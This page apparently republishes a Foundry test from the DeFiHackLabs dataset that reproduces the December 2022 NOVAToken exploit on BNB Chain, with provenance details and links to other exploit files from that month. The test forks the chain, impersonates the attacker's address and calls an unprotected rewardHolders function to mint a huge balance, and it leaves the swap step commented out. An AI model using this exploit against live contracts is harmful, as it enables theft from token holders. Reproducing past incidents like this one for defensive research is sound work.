Public reproduction file
src/test/2022-12/NovaExchange_exp.sol
Public reproduction file for dataset entry - NOVAToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/16011686595854540819// @TX10// https://bscscan.com/tx/0xf743dba906255cf6f75f8243ef8192f2a211aacf03df99322584686b5c445c2311// forge test --contracts ./src/test/NovaExchange_exp.sol -vv13interface INovaExchange {14 function rewardHolders(15 uint256 amount16 ) external;18 function balanceOf(19 address account20 ) external view returns (uint256);22 function approve(address spender, uint256 value) external returns (bool);23}25contract ContractTest is Test {26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);27 INovaExchange novaContract = INovaExchange(0xB5B27564D05Db32CF4F25813D35b6E6de9210941);28 address attacker = 0xCBF184b8156e1271449CFb42A7D0556A8DCFEf72;29 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);31 IPancakeRouter wbnb_nova = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); // wbnb/nova Pair33 function setUp() public {34 cheats.createSelectFork("bsc", 23_749_678); //fork bsc at block number 2374967836 //novaContract.approve(address(wbnb_nova), type(uint256).max);37 //WBNB.approve(address(wbnb_nova), type(uint256).max);38 }40 function testExploit() public {41 emit log_named_uint("Before exploit, NOVA balance of attacker:", novaContract.balanceOf(attacker));43 cheats.prank(attacker);45 novaContract.rewardHolders(10_000_000_000_000_000_000_000_000_000);47 emit log_named_uint("After exploit, NOVA balance of attacker:", novaContract.balanceOf(attacker));49 // address[] memory path2 = new address[](2);50 // path2[0] = address(novaContract);51 // path2[1] = address(WBNB);53 //I see [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT] testExploit() (gas: 124976)54 //I am pretty sure the error has to do with the number of decimals of the NOVA token55 //Not sure how to fix it56 // wbnb_nova.swapExactTokensForETH(57 // 10000000000020000000000000000,58 // 361966603954705498098,59 // path2,60 // attacker,61 // 167057001062 // );63 }65 receive() external payable {}66}Analysis
Dataset entry
Public Foundry test for “- NOVAToken” (2022-12-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- NOVAToken
- Path
- src/test/2022-12/NovaExchange_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 47b22166ed94d9a80d3da2f22220e5110265d94b
- Language
- Solidity
- Size
- 67 lines
- Date
- 2022-12-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/NovaExchange_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 47b22166ed94d9a80d3da2f22220e5110265d94b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.